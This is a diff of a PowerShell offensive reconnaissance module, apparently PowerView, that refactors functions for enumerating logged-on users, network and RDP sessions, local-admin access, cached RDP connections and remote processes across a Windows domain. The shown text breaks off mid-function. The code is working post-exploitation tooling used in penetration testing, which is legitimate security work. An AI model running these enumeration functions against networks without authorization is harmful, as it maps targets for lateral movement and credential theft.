param( [Parameter(ValueFromPipeline=$True)] [Alias('HostName')] - [String] + [Object[]] + [ValidateNotNullOrEmpty()] $ComputerName = 'localhost' ) - begin { - if ($PSBoundParameters['Debug']) { - $DebugPreference = 'Continue' - } - } - - process { - - # process multiple host object types from the pipeline - $ComputerName = Get-NameField -Object $ComputerName - - # Declare the reference variables - $QueryLevel = 1 - $PtrInfo = [IntPtr]::Zero - $EntriesRead = 0 - $TotalRead = 0 - $ResumeHandle = 0 - - # get logged on user information - $Result = $Netapi32::NetWkstaUserEnum($ComputerName, $QueryLevel, [ref]$PtrInfo, -1, [ref]$EntriesRead, [ref]$TotalRead, [ref]$ResumeHandle) + # extract the computer name from whatever object was passed on the pipeline + $Computer = $ComputerName | Get-NameField - # Locate the offset of the initial intPtr - $Offset = $PtrInfo.ToInt64() + # Declare the reference variables + $QueryLevel = 1 + $PtrInfo = [IntPtr]::Zero + $EntriesRead = 0 + $TotalRead = 0 + $ResumeHandle = 0 - Write-Debug "Get-NetLoggedon result: $Result" + # get logged on user information + $Result = $Netapi32::NetWkstaUserEnum($Computer, $QueryLevel, [ref]$PtrInfo, -1, [ref]$EntriesRead, [ref]$TotalRead, [ref]$ResumeHandle) - # 0 = success - if (($Result -eq 0) -and ($Offset -gt 0)) { + # Locate the offset of the initial intPtr + $Offset = $PtrInfo.ToInt64() - # Work out how mutch to increment the pointer by finding out the size of the structure - $Increment = $WKSTA_USER_INFO_1::GetSize() + Write-Debug "Get-NetLoggedon result for $Computer : $Result" - # parse all the result structures - for ($i = 0; ($i -lt $EntriesRead); $i++) { - # create a new int ptr at the given offset and cast - # the pointer as our result structure - $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset - $Info = $NewIntPtr -as $WKSTA_USER_INFO_1 + # 0 = success + if (($Result -eq 0) -and ($Offset -gt 0)) { - # return all the sections of the structure - $Info | Select-Object * - $Offset = $NewIntPtr.ToInt64() - $Offset += $Increment + # Work out how mutch to increment the pointer by finding out the size of the structure + $Increment = $WKSTA_USER_INFO_1::GetSize() - } + # parse all the result structures + for ($i = 0; ($i -lt $EntriesRead); $i++) { + # create a new int ptr at the given offset and cast + # the pointer as our result structure + $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset + $Info = $NewIntPtr -as $WKSTA_USER_INFO_1 - # free up the result buffer - $Null = $Netapi32::NetApiBufferFree($PtrInfo) + # return all the sections of the structure + $LoggedOn = $Info | Select-Object * + $LoggedOn | Add-Member Noteproperty 'ComputerName' $Computer + $Offset = $NewIntPtr.ToInt64() + $Offset += $Increment + $LoggedOn } - else - { - switch ($Result) { - (5) {Write-Debug 'The user does not have access to the requested information.'} - (124) {Write-Debug 'The value specified for the level parameter is not valid.'} - (87) {Write-Debug 'The specified parameter is not valid.'} - (234) {Write-Debug 'More entries are available. Specify a large enough buffer to receive all entries.'} - (8) {Write-Debug 'Insufficient memory is available.'} - (2312) {Write-Debug 'A session does not exist with the computer name.'} - (2351) {Write-Debug 'The computer name is not valid.'} - (2221) {Write-Debug 'Username not found.'} - (53) {Write-Debug 'Hostname could not be found'} - } + + # free up the result buffer + $Null = $Netapi32::NetApiBufferFree($PtrInfo) + } + else + { + switch ($Result) { + (5) {Write-Debug 'The user does not have access to the requested information.'} + (124) {Write-Debug 'The value specified for the level parameter is not valid.'} + (87) {Write-Debug 'The specified parameter is not valid.'} + (234) {Write-Debug 'More entries are available. Specify a large enough buffer to receive all entries.'} + (8) {Write-Debug 'Insufficient memory is available.'} + (2312) {Write-Debug 'A session does not exist with the computer name.'} + (2351) {Write-Debug 'The computer name is not valid.'} + (2221) {Write-Debug 'Username not found.'} + (53) {Write-Debug 'Hostname could not be found'} } } } -function Get-NetSession { +filter Get-NetSession { <# .SYNOPSIS @@ -6619,7 +7554,7 @@ function Get-NetSession { SESSION_INFO_10 structure. A representation of the SESSION_INFO_10 result structure which includes the host and username associated - with active sessions. + with active sessions, with the ComputerName added. .EXAMPLE @@ -6633,6 +7568,12 @@ function Get-NetSession { Returns active sessions on the 'sqlserver' host. + .EXAMPLE + + PS C:\> Get-NetDomainController | Get-NetSession + + Returns active sessions on all domain controllers. + .LINK http://www.powershellmagazine.com/2014/09/25/easily-defining-enums-structs-and-win32-functions-in-memory/ @@ -6642,80 +7583,73 @@ function Get-NetSession { param( [Parameter(ValueFromPipeline=$True)] [Alias('HostName')] - [String] + [Object[]] + [ValidateNotNullOrEmpty()] $ComputerName = 'localhost', [String] $UserName = '' ) - begin { - if ($PSBoundParameters['Debug']) { - $DebugPreference = 'Continue' - } - } - - process { + # extract the computer name from whatever object was passed on the pipeline + $Computer = $ComputerName | Get-NameField - # process multiple host object types from the pipeline - $ComputerName = Get-NameField -Object $ComputerName + # arguments for NetSessionEnum + $QueryLevel = 10 + $PtrInfo = [IntPtr]::Zero + $EntriesRead = 0 + $TotalRead = 0 + $ResumeHandle = 0 - # arguments for NetSessionEnum - $QueryLevel = 10 - $PtrInfo = [IntPtr]::Zero - $EntriesRead = 0 - $TotalRead = 0 - $ResumeHandle = 0 + # get session information + $Result = $Netapi32::NetSessionEnum($Computer, '', $UserName, $QueryLevel, [ref]$PtrInfo, -1, [ref]$EntriesRead, [ref]$TotalRead, [ref]$ResumeHandle) - # get session information - $Result = $Netapi32::NetSessionEnum($ComputerName, '', $UserName, $QueryLevel, [ref]$PtrInfo, -1, [ref]$EntriesRead, [ref]$TotalRead, [ref]$ResumeHandle) + # Locate the offset of the initial intPtr + $Offset = $PtrInfo.ToInt64() - # Locate the offset of the initial intPtr - $Offset = $PtrInfo.ToInt64() + Write-Debug "Get-NetSession result for $Computer : $Result" - Write-Debug "Get-NetSession result: $Result" + # 0 = success + if (($Result -eq 0) -and ($Offset -gt 0)) { - # 0 = success - if (($Result -eq 0) -and ($Offset -gt 0)) { + # Work out how mutch to increment the pointer by finding out the size of the structure + $Increment = $SESSION_INFO_10::GetSize() - # Work out how mutch to increment the pointer by finding out the size of the structure - $Increment = $SESSION_INFO_10::GetSize() + # parse all the result structures + for ($i = 0; ($i -lt $EntriesRead); $i++) { + # create a new int ptr at the given offset and cast + # the pointer as our result structure + $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset + $Info = $NewIntPtr -as $SESSION_INFO_10 - # parse all the result structures - for ($i = 0; ($i -lt $EntriesRead); $i++) { - # create a new int ptr at the given offset and cast - # the pointer as our result structure - $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset - $Info = $NewIntPtr -as $SESSION_INFO_10 - - # return all the sections of the structure - $Info | Select-Object * - $Offset = $NewIntPtr.ToInt64() - $Offset += $Increment - - } - # free up the result buffer - $Null = $Netapi32::NetApiBufferFree($PtrInfo) + # return all the sections of the structure + $Sessions = $Info | Select-Object * + $Sessions | Add-Member Noteproperty 'ComputerName' $Computer + $Offset = $NewIntPtr.ToInt64() + $Offset += $Increment + $Sessions } - else - { - switch ($Result) { - (5) {Write-Debug 'The user does not have access to the requested information.'} - (124) {Write-Debug 'The value specified for the level parameter is not valid.'} - (87) {Write-Debug 'The specified parameter is not valid.'} - (234) {Write-Debug 'More entries are available. Specify a large enough buffer to receive all entries.'} - (8) {Write-Debug 'Insufficient memory is available.'} - (2312) {Write-Debug 'A session does not exist with the computer name.'} - (2351) {Write-Debug 'The computer name is not valid.'} - (2221) {Write-Debug 'Username not found.'} - (53) {Write-Debug 'Hostname could not be found'} - } + # free up the result buffer + $Null = $Netapi32::NetApiBufferFree($PtrInfo) + } + else + { + switch ($Result) { + (5) {Write-Debug 'The user does not have access to the requested information.'} + (124) {Write-Debug 'The value specified for the level parameter is not valid.'} + (87) {Write-Debug 'The specified parameter is not valid.'} + (234) {Write-Debug 'More entries are available. Specify a large enough buffer to receive all entries.'} + (8) {Write-Debug 'Insufficient memory is available.'} + (2312) {Write-Debug 'A session does not exist with the computer name.'} + (2351) {Write-Debug 'The computer name is not valid.'} + (2221) {Write-Debug 'Username not found.'} + (53) {Write-Debug 'Hostname could not be found'} } } } -function Get-NetRDPSession { +filter Get-NetRDPSession { <# .SYNOPSIS @@ -6742,132 +7676,130 @@ function Get-NetRDPSession { PS C:\> Get-NetRDPSession -ComputerName "sqlserver" Returns active RDP/terminal sessions on the 'sqlserver' host. + + .EXAMPLE + + PS C:\> Get-NetDomainController | Get-NetRDPSession + + Returns active RDP/terminal sessions on all domain controllers. #> [CmdletBinding()] param( [Parameter(ValueFromPipeline=$True)] [Alias('HostName')] - [String] + [Object[]] + [ValidateNotNullOrEmpty()] $ComputerName = 'localhost' ) - - begin { - if ($PSBoundParameters['Debug']) { - $DebugPreference = 'Continue' - } - } - - process { - # process multiple host object types from the pipeline - $ComputerName = Get-NameField -Object $ComputerName + # extract the computer name from whatever object was passed on the pipeline + $Computer = $ComputerName | Get-NameField - # open up a handle to the Remote Desktop Session host - $Handle = $Wtsapi32::WTSOpenServerEx($ComputerName) + # open up a handle to the Remote Desktop Session host + $Handle = $Wtsapi32::WTSOpenServerEx($Computer) - # if we get a non-zero handle back, everything was successful - if ($Handle -ne 0) { + # if we get a non-zero handle back, everything was successful + if ($Handle -ne 0) { - Write-Debug "WTSOpenServerEx handle: $Handle" + Write-Debug "WTSOpenServerEx handle: $Handle" - # arguments for WTSEnumerateSessionsEx - $ppSessionInfo = [IntPtr]::Zero - $pCount = 0 - - # get information on all current sessions - $Result = $Wtsapi32::WTSEnumerateSessionsEx($Handle, [ref]1, 0, [ref]$ppSessionInfo, [ref]$pCount) + # arguments for WTSEnumerateSessionsEx + $ppSessionInfo = [IntPtr]::Zero + $pCount = 0 + + # get information on all current sessions + $Result = $Wtsapi32::WTSEnumerateSessionsEx($Handle, [ref]1, 0, [ref]$ppSessionInfo, [ref]$pCount) - # Locate the offset of the initial intPtr - $Offset = $ppSessionInfo.ToInt64() + # Locate the offset of the initial intPtr + $Offset = $ppSessionInfo.ToInt64() - Write-Debug "WTSEnumerateSessionsEx result: $Result" - Write-Debug "pCount: $pCount" + Write-Debug "WTSEnumerateSessionsEx result: $Result" + Write-Debug "pCount: $pCount" - if (($Result -ne 0) -and ($Offset -gt 0)) { + if (($Result -ne 0) -and ($Offset -gt 0)) { - # Work out how mutch to increment the pointer by finding out the size of the structure - $Increment = $WTS_SESSION_INFO_1::GetSize() + # Work out how mutch to increment the pointer by finding out the size of the structure + $Increment = $WTS_SESSION_INFO_1::GetSize() - # parse all the result structures - for ($i = 0; ($i -lt $pCount); $i++) { - - # create a new int ptr at the given offset and cast - # the pointer as our result structure - $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset - $Info = $NewIntPtr -as $WTS_SESSION_INFO_1 + # parse all the result structures + for ($i = 0; ($i -lt $pCount); $i++) { + + # create a new int ptr at the given offset and cast + # the pointer as our result structure + $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset + $Info = $NewIntPtr -as $WTS_SESSION_INFO_1 - $RDPSession = New-Object PSObject + $RDPSession = New-Object PSObject - if ($Info.pHostName) { - $RDPSession | Add-Member Noteproperty 'ComputerName' $Info.pHostName - } - else { - # if no hostname returned, use the specified hostname - $RDPSession | Add-Member Noteproperty 'ComputerName' $ComputerName - } + if ($Info.pHostName) { + $RDPSession | Add-Member Noteproperty 'ComputerName' $Info.pHostName + } + else { + # if no hostname returned, use the specified hostname + $RDPSession | Add-Member Noteproperty 'ComputerName' $Computer + } - $RDPSession | Add-Member Noteproperty 'SessionName' $Info.pSessionName + $RDPSession | Add-Member Noteproperty 'SessionName' $Info.pSessionName - if ($(-not $Info.pDomainName) -or ($Info.pDomainName -eq '')) { - # if a domain isn't returned just use the username - $RDPSession | Add-Member Noteproperty 'UserName' "$($Info.pUserName)" - } - else { - $RDPSession | Add-Member Noteproperty 'UserName' "$($Info.pDomainName)\$($Info.pUserName)" - } + if ($(-not $Info.pDomainName) -or ($Info.pDomainName -eq '')) { + # if a domain isn't returned just use the username + $RDPSession | Add-Member Noteproperty 'UserName' "$($Info.pUserName)" + } + else { + $RDPSession | Add-Member Noteproperty 'UserName' "$($Info.pDomainName)\$($Info.pUserName)" + } - $RDPSession | Add-Member Noteproperty 'ID' $Info.SessionID - $RDPSession | Add-Member Noteproperty 'State' $Info.State + $RDPSession | Add-Member Noteproperty 'ID' $Info.SessionID + $RDPSession | Add-Member Noteproperty 'State' $Info.State - $ppBuffer = [IntPtr]::Zero - $pBytesReturned = 0 + $ppBuffer = [IntPtr]::Zero + $pBytesReturned = 0 - # query for the source client IP with WTSQuerySessionInformation - # https://msdn.microsoft.com/en-us/library/aa383861(v=vs.85).aspx - $Result2 = $Wtsapi32::WTSQuerySessionInformation($Handle, $Info.SessionID, 14, [ref]$ppBuffer, [ref]$pBytesReturned) + # query for the source client IP with WTSQuerySessionInformation + # https://msdn.microsoft.com/en-us/library/aa383861(v=vs.85).aspx + $Result2 = $Wtsapi32::WTSQuerySessionInformation($Handle, $Info.SessionID, 14, [ref]$ppBuffer, [ref]$pBytesReturned) - $Offset2 = $ppBuffer.ToInt64() - $NewIntPtr2 = New-Object System.Intptr -ArgumentList $Offset2 - $Info2 = $NewIntPtr2 -as $WTS_CLIENT_ADDRESS + $Offset2 = $ppBuffer.ToInt64() + $NewIntPtr2 = New-Object System.Intptr -ArgumentList $Offset2 + $Info2 = $NewIntPtr2 -as $WTS_CLIENT_ADDRESS - $SourceIP = $Info2.Address - if($SourceIP[2] -ne 0) { - $SourceIP = [String]$SourceIP[2]+"."+[String]$SourceIP[3]+"."+[String]$SourceIP[4]+"."+[String]$SourceIP[5] - } - else { - $SourceIP = $Null - } + $SourceIP = $Info2.Address + if($SourceIP[2] -ne 0) { + $SourceIP = [String]$SourceIP[2]+"."+[String]$SourceIP[3]+"."+[String]$SourceIP[4]+"."+[String]$SourceIP[5] + } + else { + $SourceIP = $Null + } - $RDPSession | Add-Member Noteproperty 'SourceIP' $SourceIP - $RDPSession + $RDPSession | Add-Member Noteproperty 'SourceIP' $SourceIP + $RDPSession - # free up the memory buffer - $Null = $Wtsapi32::WTSFreeMemory($ppBuffer) + # free up the memory buffer + $Null = $Wtsapi32::WTSFreeMemory($ppBuffer) - $Offset += $Increment - } - # free up the memory result buffer - $Null = $Wtsapi32::WTSFreeMemoryEx(2, $ppSessionInfo, $pCount) + $Offset += $Increment } - # Close off the service handle - $Null = $Wtsapi32::WTSCloseServer($Handle) - } - else { - # otherwise it failed - get the last error - # error codes - http://msdn.microsoft.com/en-us/library/windows/desktop/ms681382(v=vs.85).aspx - $Err = $Kernel32::GetLastError() - Write-Verbuse "LastError: $Err" + # free up the memory result buffer + $Null = $Wtsapi32::WTSFreeMemoryEx(2, $ppSessionInfo, $pCount) } + # Close off the service handle + $Null = $Wtsapi32::WTSCloseServer($Handle) + } + else { + # otherwise it failed - get the last error + # error codes - http://msdn.microsoft.com/en-us/library/windows/desktop/ms681382(v=vs.85).aspx + $Err = $Kernel32::GetLastError() + Write-Verbose "LastError: $Err" } } -function Invoke-CheckLocalAdminAccess { +filter Invoke-CheckLocalAdminAccess { <# .SYNOPSIS - This function will use the OpenSCManagerW Win32API call to to establish + This function will use the OpenSCManagerW Win32API call to establish a handle to the remote host. If this succeeds, the current user context has local administrator acess to the target. @@ -6890,6 +7822,12 @@ function Invoke-CheckLocalAdminAccess { Returns active sessions on the local host. + .EXAMPLE + + PS C:\> Get-NetComputer | Invoke-CheckLocalAdminAccess + + Sees what machines in the domain the current user has access to. + .LINK https://github.com/rapid7/metasploit-framework/blob/master/modules/post/windows/gather/local_admin_search_enum.rb @@ -6899,46 +7837,119 @@ function Invoke-CheckLocalAdminAccess { [CmdletBinding()] param( [Parameter(ValueFromPipeline=$True)] - [String] [Alias('HostName')] + [Object[]] + [ValidateNotNullOrEmpty()] $ComputerName = 'localhost' ) - begin { - if ($PSBoundParameters['Debug']) { - $DebugPreference = 'Continue' - } + # extract the computer name from whatever object was passed on the pipeline + $Computer = $ComputerName | Get-NameField + + # 0xF003F - SC_MANAGER_ALL_ACCESS + # http://msdn.microsoft.com/en-us/library/windows/desktop/ms685981(v=vs.85).aspx + $Handle = $Advapi32::OpenSCManagerW("\\$Computer", 'ServicesActive', 0xF003F) + + Write-Debug "Invoke-CheckLocalAdminAccess handle: $Handle" + + $IsAdmin = New-Object PSObject + $IsAdmin | Add-Member Noteproperty 'ComputerName' $Computer + + # if we get a non-zero handle back, everything was successful + if ($Handle -ne 0) { + # Close off the service handle + $Null = $Advapi32::CloseServiceHandle($Handle) + $IsAdmin | Add-Member Noteproperty 'IsAdmin' $True + } + else { + # otherwise it failed - get the last error + # error codes - http://msdn.microsoft.com/en-us/library/windows/desktop/ms681382(v=vs.85).aspx + $Err = $Kernel32::GetLastError() + Write-Debug "Invoke-CheckLocalAdminAccess LastError: $Err" + $IsAdmin | Add-Member Noteproperty 'IsAdmin' $False } - process { + $IsAdmin +} - # process multiple host object types from the pipeline - $ComputerName = Get-NameField -Object $ComputerName - # 0xF003F - SC_MANAGER_ALL_ACCESS - # http://msdn.microsoft.com/en-us/library/windows/desktop/ms685981(v=vs.85).aspx - $Handle = $Advapi32::OpenSCManagerW("\\$ComputerName", 'ServicesActive', 0xF003F) +filter Get-SiteName { +<# + .SYNOPSIS - Write-Debug "Invoke-CheckLocalAdminAccess handle: $Handle" + This function will use the DsGetSiteName Win32API call to look up the + name of the site where a specified computer resides. - # if we get a non-zero handle back, everything was successful - if ($Handle -ne 0) { - # Close off the service handle - $Null = $Advapi32::CloseServiceHandle($Handle) - $True - } - else { - # otherwise it failed - get the last error - # error codes - http://msdn.microsoft.com/en-us/library/windows/desktop/ms681382(v=vs.85).aspx - $Err = $Kernel32::GetLastError() - Write-Debug "Invoke-CheckLocalAdminAccess LastError: $Err" - $False - } + .PARAMETER ComputerName + + The hostname to look the site up for, default to localhost. + + .EXAMPLE + + PS C:\> Get-SiteName -ComputerName WINDOWS1 + + Returns the site for WINDOWS1.testlab.local. + + .EXAMPLE + + PS C:\> Get-NetComputer | Invoke-CheckLocalAdminAccess + + Returns the sites for every machine in AD. +#> + [CmdletBinding()] + param( + [Parameter(ValueFromPipeline=$True)] + [Alias('HostName')] + [Object[]] + [ValidateNotNullOrEmpty()] + $ComputerName = $Env:ComputerName + ) + + # extract the computer name from whatever object was passed on the pipeline + $Computer = $ComputerName | Get-NameField + + # if we get an IP address, try to resolve the IP to a hostname + if($Computer -match '^(?:[0-9]{1,3}\.){3}[0-9]{1,3}$') { + $IPAddress = $Computer + $Computer = [System.Net.Dns]::GetHostByAddress($Computer) + } + else { + $IPAddress = @(Get-IPAddress -ComputerName $Computer)[0].IPAddress + } + + $PtrInfo = [IntPtr]::Zero + + $Result = $Netapi32::DsGetSiteName($Computer, [ref]$PtrInfo) + Write-Debug "Get-SiteName result for $Computer : $Result" + + $ComputerSite = New-Object PSObject + $ComputerSite | Add-Member Noteproperty 'ComputerName' $Computer + $ComputerSite | Add-Member Noteproperty 'IPAddress' $IPAddress + + if ($Result -eq 0) { + $Sitename = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto($PtrInfo) + $ComputerSite | Add-Member Noteproperty 'SiteName' $Sitename + } + elseif($Result -eq 1210) { + Write-Verbose "Computername '$Computer' is not in a valid form." + $ComputerSite | Add-Member Noteproperty 'SiteName' 'ERROR' + } + elseif($Result -eq 1919) { + Write-Verbose "Computer '$Computer' is not in a site" + + $ComputerSite | Add-Member Noteproperty 'SiteName' $Null + } + else { + Write-Verbose "Error" + $ComputerSite | Add-Member Noteproperty 'SiteName' 'ERROR' } + + $Null = $Netapi32::NetApiBufferFree($PtrInfo) + $ComputerSite } -function Get-LastLoggedOn { +filter Get-LastLoggedOn { <# .SYNOPSIS @@ -6953,6 +7964,10 @@ function Get-LastLoggedOn { The hostname to query for the last logged on user. Defaults to the localhost. + .PARAMETER Credential + + A [Management.Automation.PSCredential] object for the remote connection. + .EXAMPLE PS C:\> Get-LastLoggedOn @@ -6964,38 +7979,58 @@ function Get-LastLoggedOn { PS C:\> Get-LastLoggedOn -ComputerName WINDOWS1 Returns the last user logged onto WINDOWS1 + + .EXAMPLE + + PS C:\> Get-NetComputer | Get-LastLoggedOn + + Returns the last user logged onto all machines in the domain. #> - [CmdletBinding()] - param( - [Parameter(ValueFromPipeline=$True)] - [String] - [Alias('HostName')] - $ComputerName = "." + [CmdletBinding()] + param( + [Parameter(ValueFromPipeline=$True)] + [Alias('HostName')] + [Object[]] + [ValidateNotNullOrEmpty()] + $ComputerName = 'localhost', + + [Management.Automation.PSCredential] + $Credential ) - process { + # extract the computer name from whatever object was passed on the pipeline + $Computer = $ComputerName | Get-NameField - # process multiple host object types from the pipeline - $ComputerName = Get-NameField -Object $ComputerName + # HKEY_LOCAL_MACHINE + $HKLM = 2147483650 - # try to open up the remote registry key to grab the last logged on user - try { - $Reg = [WMIClass]"\\$ComputerName\root\default:stdRegProv" - $HKLM = 2147483650 - $Key = "SOFTWARE\Microsoft\Windows\CurrentVersion\Authentication\LogonUI" - $Value = "LastLoggedOnUser" - $Reg.GetStringValue($HKLM, $Key, $Value).sValue + # try to open up the remote registry key to grab the last logged on user + try { + + if($Credential) { + $Reg = Get-WmiObject -List 'StdRegProv' -Namespace root\default -Computername $Computer -Credential $Credential -ErrorAction SilentlyContinue } - catch { - Write-Warning "[!] Error opening remote registry on $ComputerName. Remote registry likely not enabled." - $Null + else { + $Reg = Get-WmiObject -List 'StdRegProv' -Namespace root\default -Computername $Computer -ErrorAction SilentlyContinue } + + $Key = "SOFTWARE\Microsoft\Windows\CurrentVersion\Authentication\LogonUI" + $Value = "LastLoggedOnUser" + $LastUser = $Reg.GetStringValue($HKLM, $Key, $Value).sValue + + $LastLoggedOn = New-Object PSObject + $LastLoggedOn | Add-Member Noteproperty 'ComputerName' $Computer + $LastLoggedOn | Add-Member Noteproperty 'LastLoggedOn' $LastUser + $LastLoggedOn + } + catch { + Write-Warning "[!] Error opening remote registry on $Computer. Remote registry likely not enabled." } } -function Get-CachedRDPConnection { +filter Get-CachedRDPConnection { <# .SYNOPSIS @@ -7011,14 +8046,9 @@ function Get-CachedRDPConnection { The hostname to query for RDP client information. Defaults to localhost. - .PARAMETER RemoteUserName - - The "domain\username" to use for the WMI call on the remote system. - If supplied, 'RemotePassword' must be supplied as well. - - .PARAMETER RemotePassword + .PARAMETER Credential - The password to use for the WMI call on a remote system. + A [Management.Automation.PSCredential] object for the remote connection. .EXAMPLE @@ -7034,105 +8064,99 @@ function Get-CachedRDPConnection { .EXAMPLE - PS C:\> Get-CachedRDPConnection -ComputerName WINDOWS2.testlab.local -RemoteUserName DOMAIN\user -RemotePassword Password123! + PS C:\> Get-CachedRDPConnection -ComputerName WINDOWS2.testlab.local -Credential $Cred Returns the RDP connection client information for the WINDOWS2.testlab.local machine using alternate credentials. + + .EXAMPLE + + PS C:\> Get-NetComputer | Get-CachedRDPConnection + + Get cached RDP information for all machines in the domain. #> [CmdletBinding()] param( [Parameter(ValueFromPipeline=$True)] - [String] - $ComputerName = "localhost", - - [String] - $RemoteUserName, + [Alias('HostName')] + [Object[]] + [ValidateNotNullOrEmpty()] + $ComputerName = 'localhost', - [String] - $RemotePassword + [Management.Automation.PSCredential] + $Credential ) - begin { - if ($RemoteUserName -and $RemotePassword) { - $Password = $RemotePassword | ConvertTo-SecureString -AsPlainText -Force - $Credential = New-Object System.Management.Automation.PSCredential($RemoteUserName,$Password) - } - - # HKEY_USERS - $HKU = 2147483651 - } - - process { + # extract the computer name from whatever object was passed on the pipeline + $Computer = $ComputerName | Get-NameField - try { - if($Credential) { - $Reg = Get-Wmiobject -List 'StdRegProv' -Namespace root\default -Computername $ComputerName -Credential $Credential -ErrorAction SilentlyContinue - } - else { - $Reg = Get-Wmiobject -List 'StdRegProv' -Namespace root\default -Computername $ComputerName -ErrorAction SilentlyContinue - } - } - catch { - Write-Warning "Error accessing $ComputerName, likely insufficient permissions or firewall rules on host" - } + # HKEY_USERS + $HKU = 2147483651 - if(!$Reg) { - Write-Warning "Error accessing $ComputerName, likely insufficient permissions or firewall rules on host" + try { + if($Credential) { + $Reg = Get-WmiObject -List 'StdRegProv' -Namespace root\default -Computername $Computer -Credential $Credential -ErrorAction SilentlyContinue } else { - # extract out the SIDs of domain users in this hive - $UserSIDs = ($Reg.EnumKey($HKU, "")).sNames | ? { $_ -match 'S-1-5-21-[0-9]+-[0-9]+-[0-9]+-[0-9]+$' } - - foreach ($UserSID in $UserSIDs) { - - try { - $UserName = Convert-SidToName $UserSID + $Reg = Get-WmiObject -List 'StdRegProv' -Namespace root\default -Computername $Computer -ErrorAction SilentlyContinue + } - # pull out all the cached RDP connections - $ConnectionKeys = $Reg.EnumValues($HKU,"$UserSID\Software\Microsoft\Terminal Server Client\Default").sNames + # extract out the SIDs of domain users in this hive + $UserSIDs = ($Reg.EnumKey($HKU, "")).sNames | ? { $_ -match 'S-1-5-21-[0-9]+-[0-9]+-[0-9]+-[0-9]+$' } - foreach ($Connection in $ConnectionKeys) { - # make sure this key is a cached connection - if($Connection -match 'MRU.*') { - $TargetServer = $Reg.GetStringValue($HKU, "$UserSID\Software\Microsoft\Terminal Server Client\Default", $Connection).sValue - - $FoundConnection = New-Object PSObject - $FoundConnection | Add-Member Noteproperty 'ComputerName' $ComputerName - $FoundConnection | Add-Member Noteproperty 'UserName' $UserName - $FoundConnection | Add-Member Noteproperty 'UserSID' $UserSID - $FoundConnection | Add-Member Noteproperty 'TargetServer' $TargetServer - $FoundConnection | Add-Member Noteproperty 'UsernameHint' $Null - $FoundConnection - } - } + foreach ($UserSID in $UserSIDs) { - # pull out all the cached server info with username hints - $ServerKeys = $Reg.EnumKey($HKU,"$UserSID\Software\Microsoft\Terminal Server Client\Servers").sNames + try { + $UserName = Convert-SidToName $UserSID - foreach ($Server in $ServerKeys) { + # pull out all the cached RDP connections + $ConnectionKeys = $Reg.EnumValues($HKU,"$UserSID\Software\Microsoft\Terminal Server Client\Default").sNames - $UsernameHint = $Reg.GetStringValue($HKU, "$UserSID\Software\Microsoft\Terminal Server Client\Servers\$Server", 'UsernameHint').sValue + foreach ($Connection in $ConnectionKeys) { + # make sure this key is a cached connection + if($Connection -match 'MRU.*') { + $TargetServer = $Reg.GetStringValue($HKU, "$UserSID\Software\Microsoft\Terminal Server Client\Default", $Connection).sValue $FoundConnection = New-Object PSObject - $FoundConnection | Add-Member Noteproperty 'ComputerName' $ComputerName + $FoundConnection | Add-Member Noteproperty 'ComputerName' $Computer $FoundConnection | Add-Member Noteproperty 'UserName' $UserName $FoundConnection | Add-Member Noteproperty 'UserSID' $UserSID - $FoundConnection | Add-Member Noteproperty 'TargetServer' $Server - $FoundConnection | Add-Member Noteproperty 'UsernameHint' $UsernameHint - $FoundConnection + $FoundConnection | Add-Member Noteproperty 'TargetServer' $TargetServer + $FoundConnection | Add-Member Noteproperty 'UsernameHint' $Null + $FoundConnection } - } - catch { - Write-Debug "Error: $_" + + # pull out all the cached server info with username hints + $ServerKeys = $Reg.EnumKey($HKU,"$UserSID\Software\Microsoft\Terminal Server Client\Servers").sNames + + foreach ($Server in $ServerKeys) { + + $UsernameHint = $Reg.GetStringValue($HKU, "$UserSID\Software\Microsoft\Terminal Server Client\Servers\$Server", 'UsernameHint').sValue + + $FoundConnection = New-Object PSObject + $FoundConnection | Add-Member Noteproperty 'ComputerName' $Computer + $FoundConnection | Add-Member Noteproperty 'UserName' $UserName + $FoundConnection | Add-Member Noteproperty 'UserSID' $UserSID + $FoundConnection | Add-Member Noteproperty 'TargetServer' $Server + $FoundConnection | Add-Member Noteproperty 'UsernameHint' $UsernameHint + $FoundConnection } + + } + catch { + Write-Debug "Error: $_" } } + + } + catch { + Write-Warning "Error accessing $Computer, likely insufficient permissions or firewall rules on host: $_" } } -function Get-NetProcess { +filter Get-NetProcess { <# .SYNOPSIS @@ -7142,14 +8166,9 @@ function Get-NetProcess { The hostname to query processes. Defaults to the local host name. - .PARAMETER RemoteUserName - - The "domain\username" to use for the WMI call on a remote system. - If supplied, 'RemotePassword' must be supplied as well. - - .PARAMETER RemotePassword + .PARAMETER Credential - The password to use for the WMI call on a remote system. + A [Management.Automation.PSCredential] object for the remote connection. .EXAMPLE @@ -7161,74 +8180,40 @@ function Get-NetProcess { [CmdletBinding()] param( [Parameter(ValueFromPipeline=$True)] - [String] - $ComputerName, - - [String] - $RemoteUserName, + [Alias('HostName')] + [Object[]] + [ValidateNotNullOrEmpty()] + $ComputerName = [System.Net.Dns]::GetHostName(), - [String] - $RemotePassword + [Management.Automation.PSCredential] + $Credential ) - process { - - if($ComputerName) { - # process multiple host object types from the pipeline - $ComputerName = Get-NameField -Object $ComputerName + # extract the computer name from whatever object was passed on the pipeline + $Computer = $ComputerName | Get-NameField + + try { + if($Credential) { + $Processes = Get-WMIobject -Class Win32_process -ComputerName $ComputerName -Credential $Credential } else { - # default to the local hostname - $ComputerName = [System.Net.Dns]::GetHostName() + $Processes = Get-WMIobject -Class Win32_process -ComputerName $ComputerName } - $Credential = $Null - - if($RemoteUserName) { - if($RemotePassword) { - $Password = $RemotePassword | ConvertTo-SecureString -AsPlainText -Force - $Credential = New-Object System.Management.Automation.PSCredential($RemoteUserName,$Password) - - # try to enumerate the processes on the remote machine using the supplied credential - try { - Get-WMIobject -Class Win32_process -ComputerName $ComputerName -Credential $Credential | ForEach-Object { - $Owner = $_.getowner(); - $Process = New-Object PSObject - $Process | Add-Member Noteproperty 'ComputerName' $ComputerName - $Process | Add-Member Noteproperty 'ProcessName' $_.ProcessName - $Process | Add-Member Noteproperty 'ProcessID' $_.ProcessID - $Process | Add-Member Noteproperty 'Domain' $Owner.Domain - $Process | Add-Member Noteproperty 'User' $Owner.User - $Process - } - } - catch { - Write-Verbose "[!] Error enumerating remote processes, access likely denied: $_" - } - } - else { - Write-Warning "[!] RemotePassword must also be supplied!" - 